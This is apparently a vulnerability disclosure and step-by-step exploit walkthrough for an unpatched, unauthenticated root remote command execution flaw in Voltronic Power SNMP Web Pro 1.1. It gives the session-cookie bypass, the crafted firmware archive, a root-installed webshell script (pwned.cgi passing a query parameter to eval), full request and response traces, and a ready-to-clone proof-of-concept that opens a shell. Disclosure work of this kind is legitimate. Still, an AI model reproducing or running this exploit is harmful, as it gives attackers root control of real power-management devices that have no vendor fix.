
Pre-Authenticated Full Root Remote Command Execution in Voltronic Power SNMP Web Pro 1.1
Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi endpoint. The firmware update functionality lets users upload a tar archive, which is then extracted and installed without any input validation or security checks. The application fails to restrict or sanitize the archive contents, so an attacker can upload a crafted archive containing malicious CGI scripts. With a bit of trial and error - and a lot of help from the information each response leaks - it is possible to work out the exact archive format expected and craft a malicious one.
Additionally, the endpoint does not properly validate authentication: supplying a manipulated or invalid session cookie is enough to bypass the access controls and reach the vulnerable functionality without valid credentials, even though the front-end clearly demands a login to use it.
Successful exploitation allows an attacker to place arbitrary executable files inside the CGI server directory and execute commands with root privileges.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
All of the following was done against a local instance (http://localhost:5555). Two things make this whole exercise trivial from the start:
Cookie: -http-session-=NOT_VALID header is all we need for every request - the sid query parameter is a random value generated by the front-end JavaScript and is equally ignored by the server.The steps below follow that loop. Requests are trimmed down to the minimum headers the server actually cares about.
The very first request already tells us where the server expects the firmware archive to live. Note that params=extract is asking the CGI to extract an archive, not to receive one: nothing has been uploaded yet, the endpoint simply tries to unpack whatever it expects to find on disk.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Response:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
The body is gold. Besides the (NAK (negative acknowledgement) telling us the operation failed, the raw output of the tar binary is embedded verbatim in the response: it is trying to extract /root/upgrade.tar.gz. Also note the target install path /root - we are talking to a privileged process.
Two facts for the exploitation plan:
upgrade.tar.gz and dropped into /root. Our filename does not matter.First, create a dummy tar archive (the upload is a multipart POST; its trace is not interesting - the GET calls drive all the behaviour):
tar czvf test.tar.gz test.txt
test.txt
Start the cycle: upload the archive, then extract it:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - the extraction went through without complaint. The cycle (upload -> extract -> install) is the shape of this whole exploit; from here on only the install step changes, so the next traces only show the request line and the response body (headers stay identical to the ones above).
upgradeExtraction works, time to install. The response expectedly differs:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK again, but the leftovers of a shell command leak through: cd: line 1: can't cd to /root/upgrade*. The installer runs arbitrary shell - it tries to cd into a glob expanding to a folder named upgrade inside the extracted archive. Our innocent flat archive (test.txt at the root) does not satisfy the glob. Easy fix: repackage with a top-level upgrade/ directory.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Then repeat the first two steps of the cycle: re-upload, re-extract.
install.shSame install call again, and the leak gets even better:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
It chmods a script called install.sh - meaning the install procedure executes a shell script from the archive, as root. At this point we control every file of the archive, so we control that script. This is the entire vulnerability in one line: arbitrary files, executed with root privileges, with no authentication.
Build install.sh and pwned.cgi inside the upgrade/ directory (both files are also bundled in the upgrade/ folder of this repository).
install.sh unpacks the physical layout so our script is dropped into the web-root CGI directory, then fixes permissions:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi is a minimal command-dispatcher CGI: it takes the cmd query parameter, URL-decodes it and feeds it to eval. That is the remote shell:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
Repackage the archive:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
And run the full cycle one last time:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
A clean (ACK with no leaked error this time: the installer ran our script without complaining, and pwned.cgi should now be sitting in the CGI directory. A plain whoami confirms (quote the URL - ; is a shell separator, and the CGI parser chokes on it) :
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
Root, on the device's ARM Linux. From zero credentials to a root shell, the whole trip took only the two leaks above and a tar archive.

No, vendor did not provided an answer yet. Use an ngnix reverse proxy with authentication to protect the target.
poc.py automates the manual cycle 1:1. create_in_memory_tar_archive() builds the archive from Step 5 in memory (install.sh + a POST-based variant of pwned.cgi), then upload_archive(), extract_firmware() and install_firmware() replay Steps 2-4, verify_exploit_uploaded() waits for the CGI to appear, and spawn_non_interactive_shell() drops you into a >>> prompt whose commands are base64-encoded and POSTed to pwned.cgi.